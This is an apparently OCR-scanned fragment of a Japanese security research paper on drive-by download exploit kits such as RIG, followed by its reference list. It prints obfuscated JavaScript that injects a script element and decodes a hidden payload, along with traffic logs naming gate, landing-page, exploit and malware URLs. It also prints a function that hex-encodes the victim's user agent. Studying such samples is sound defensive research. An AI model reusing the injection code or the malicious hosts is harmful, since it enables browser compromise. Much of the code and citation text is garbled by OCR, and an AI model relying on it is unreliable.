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function k() {
vara=1(),
c =document,
/*s73213d53572hfj4285fs*/ b = c["createElement"]("script");
b["type"] = "text/javascript", b["text"] = a, a = c["getElementsByTagName"]("s:

try {
k()
}catch (m) {}

function I() {
vars
=" ZnZGZnZ! zZA5ZDM2Mj Z 2
dzc3NzKX19LypzZGhkOTU40TFoZnMglw =="; /*s65026d21699hfj75792fs*/
vare={},
i,b=0,
¢, x,aq=0,
a,r=""
dfgdfg = String.fromCharCode,
L = s.length; /*s36259d28398hfj40713fs*/
var A = "ABCDEFGHIJKSD454FLMNOPQRSTUVWXYSD454FZabcdefghijklmnopg
xcvx = "aTcharAt".substr(2);
for (i = 0; i < 64; i++) { /*s31484d39289hfj15241fs*/
e[Alxcvx](i)] =i;

for (x =0; x < L; x++) {
c = e[ /*s29765d45840hfj17773fs*/ s[xcvx](x)];
b=(b<<6)+c;
aq +=6;
bx = 2; /*s75067d87078hfj63800fs*/
while (ag>=(9-1)){
((@a=(b>>>(aq-=8)) &265-10) || (x < bx)) && (r += dfgdfg(a));

}

returnr;
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Result | Protocol Host URL Comment
302 HTTP | popunder.youdonthaveenough.faith /popunder.php Gate
200 HTTP reminder.deficitgarage.download /forum nAOEYTH/showthread.php?id=1826563316 Landing Page
200 HTTP reminder.deficitgarage.download /forum nAOEYTH/0ViGerkEQQ20/rSir7V9aOI8p.html Exploit
200 HTTP reminder.deficitgarage.download /forum nAOEYTH/7wlkYFwm7tkC.php Malware
# 3 RIGExploitKit 2815 b7 7 1 v 7 DEHR
Result | Protocol Host URL Comment
200 HTTP | jackpotfreerols.cf /
200 HTTP jackpotfr22.ct /yo/?
200 HTTP 188.225.79.213 | /?Lpe traveling SWEzlY 1dWIgRpa3 20XUyBKehJWA xfZaA4T SDDRbI92... | Landing Page
200 HTTP 188.225.79.213 /?vel flight 1558 man 1330 van xHZQMrXYbRzFFYbfKPnEU... Payload

var fgdfgd = ""; /*s47709d36268hfj95615fs*/
function hcvvsdf(num, width) {
var xcvaa = "0123456789abcdef"; /*s95073dffd100000hd11665hfs*/
var hcvvsdf = xcvaa.substr(num & OxF, 1);
while (num > OxF) {
num = num >>>4;
hcvvsdf = xcvaa.substr(num & OxF, 1) + hevvsdf;
}
var width = (width ? width : 0);
while (hcvvsdf.length < width) hevvsdf = "0" + hevvsdf;
return hcvvsdf;

}

function gfdgsdf566(u, k) {
var fr = String.fromCharCode;
varc="",

b="",

=",

f = fr(0x20),

g =fr(0),

v = fr(0x22);
varapp=k+v+f+v+u+v+f+v+navigatoruserAgent+v+g+g+g+g;
app.length % 2 && (app +=g);
for (var e = 0; e < app.length; e++) {

b = hevvsdf(app.charCodeAt(e), 2);

d = hevvsdf(app.charCodeAt(e + 1), 2);

c+=b+d;

e+=1;

}

return c;

10 etk zse< 2 — Fo—Ef

S 3k

[1] MJIEZE, “PL Y RxA4 28 ¥ a2V 51708
7 <V x TR DG 5-03 Gumblar R,
(https://blog.trendmicro.co.jp/archives/3340, 2018 4F
12 AZR).

[2] TrendMicro, “V—E A2 LTHDIZZATA1 hFv
k7, (https://www.trendmicro.com/vinfo/jp/threat-
encyclopedia/web-attack/3192/exploits-as-a-service,
2018 ££ 12 A& M]).

[3] /Mt KBS, “ENEERL Y S 4T v b= =Ky
I StarC @B & Drive-by Download W dD k 5

T4y 7T —XOEN”, 2017 EREEIR R4 M
JUER AR, 2018.

[4] /NG R ER, 4Gt A, “Drive-by Download %%
281+ % RIG Exploit Kit o fi#gffr [ 8 F 75 D &7,
Computer Security Symposium 2017, pp. 364-369,
2017.

[5] WIHGERE, DNWARER, MiEHE, 57, “RIG
Exploit Kit (2 & 7 5 W Z{H [/ D A", Computer
Security Symposium 2017, pp. 357-363, 2017.

[6] McAfee, “Threat Landscape Dashboard Terror Ex-
ploit Kit”, (https://www.mcafee.com/enterprise/en-
us/threat-center/threat-landscape-dashboard/exploit-

kits-details.terror-exploit-kit.html, 2018 4 12 H
ZR).

[7] McAfee, “Threat Landscape Dashboard Sundown
Exploit Kit”, (https://www.mcafee.com/enterprise/en-
us/threat-center/threat-landscape-dashboard/exploit-
kits-details.sundown-exploit-kit.html, 2018 4 12 A
ZR).

[8] Security NEXT, “T 27 A7 u A ~F v bk [RIG]
NEFR - BENY A SRETI VY LFEEY,
(http://www.security-next.com/074841, 2018 4 12 H
Z)

[9] nao sec, “Hello ‘Fallout Exploit Kit' 7,
(https://www.nao-sec.org/2018/09/, 2018 4 12
HZR).

[10] TrendMicro, “F E T 7 A 7B 14 b F v bD
WEER P, 2016 FE &R O 2B S IS H)
fkL”, (https://blog.trendmicro.co.jp/archives/19316,
2018 1F 12 ASR).



